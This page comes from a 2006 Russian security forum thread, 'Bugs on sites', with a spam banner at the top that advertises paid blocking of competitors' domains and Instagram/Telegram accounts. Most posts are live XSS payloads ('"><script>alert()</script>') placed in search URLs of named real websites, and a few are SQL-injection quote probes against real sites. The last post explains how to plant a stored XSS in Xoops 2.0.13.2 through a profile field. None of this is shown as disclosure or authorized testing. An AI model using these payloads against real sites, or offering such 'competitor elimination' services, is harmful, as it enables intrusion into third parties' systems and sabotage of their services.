УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ_OLD > Уязвимости
Баги на сайтах.

Страница 28 из 30

« Первая

Опции темы

Поиск в этой теме

Опции просмотра

#271

23.06.2006, 12:05

Dracula4ever

Постоянный

Регистрация: 08.05.2006

Сообщений: 559

Провел на форуме:
1593567

Репутация: 354

Отправить сообщение для Dracula4ever с помощью ICQ

Отправить сообщение для Dracula4ever с помощью AIM

Отправить сообщение для Dracula4ever с помощью Yahoo

Цитата:

Сообщение от KoT

http://forum.antichat.ru/forum46.html
Блин че с ачатом

А че с ним должно быть????

Вот ещё несколько XSS :

_http://lib.usu.ru/search/?search%5Bquery%5D="><script>alert()</script>

_http://ncagip.ru/search?needle="><script>alert()</script>

#272

23.06.2006, 21:44

Dracula4ever

Постоянный

Регистрация: 08.05.2006

Сообщений: 559

Провел на форуме:
1593567

Репутация: 354

_http://kungrad.com/index/search/?keywords="><script>alert()</script>

#273

24.06.2006, 08:01

Dracula4ever

Постоянный

Регистрация: 08.05.2006

Сообщений: 559

Провел на форуме:
1593567

Репутация: 354

_http://www.uefexpo.ru/?p__search_text2="><script>alert()</script>

#274

24.06.2006, 09:31

CyberPunk

Участник форума

Регистрация: 25.05.2006

Сообщений: 130

Провел на форуме:
853585

Репутация: 97

_http://www.opentech.ru/index.php?curr_node='

#275

24.06.2006, 11:52

Dracula4ever

Постоянный

Регистрация: 08.05.2006

Сообщений: 559

Провел на форуме:
1593567

Репутация: 354

_http://www.membrana.ru/search.html?text="><script>alert()</script>

#276

24.06.2006, 19:53

blackybr

♠ ♦ ♣ ♥

Регистрация: 18.05.2006

Сообщений: 1,828

Провел на форуме:
8042357

Репутация: 3742

Отправить сообщение для blackybr с помощью ICQ

Отправить сообщение для blackybr с помощью AIM

Отправить сообщение для blackybr с помощью Yahoo

http://www.sapphiretech.com/rs/media/pressview.php?pid=25' производство карт радеон сапфир )

__________________

Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2

#277

24.06.2006, 20:39

Dracula4ever

Постоянный

Регистрация: 08.05.2006

Сообщений: 559

Провел на форуме:
1593567

Репутация: 354

_http://www.uefexpo.ru/?p__search_text2="><script>alert()</script>

Xoops v2.0.13.2

#278

24.06.2006, 23:35

~~_kREveDKo_~~

Banned

Регистрация: 04.12.2005

Сообщений: 826

Провел на форуме:
5223479

Репутация: 3813

Xoops v2.0.13.2

Маленький баг в Xoops v2.0.13.2 : Активная XSS

Заходим в редактирование профиля и с помощью IE_XSS_KIT от zFailure кликаем в менюшке на
"Form Select-one2Text". Ищем поле "Comments Display Mode" и меняем то что там написано на
"><h1>XSS!. Теперь если мы пройдём по адресу

http://xex.ru/путь_к_xoops/modules/mylinks/singlelink.php?cid=3&lid=1

и нажмём на "Comments", nо при условии, что в движке включён модуль для работы с ссылками,
мы сможем лицезреть активную XSS. Почему я назвал это Маленьким багом? Потому что вместительность
переменной, куда мы вставили сплойт составляет 10 символов =).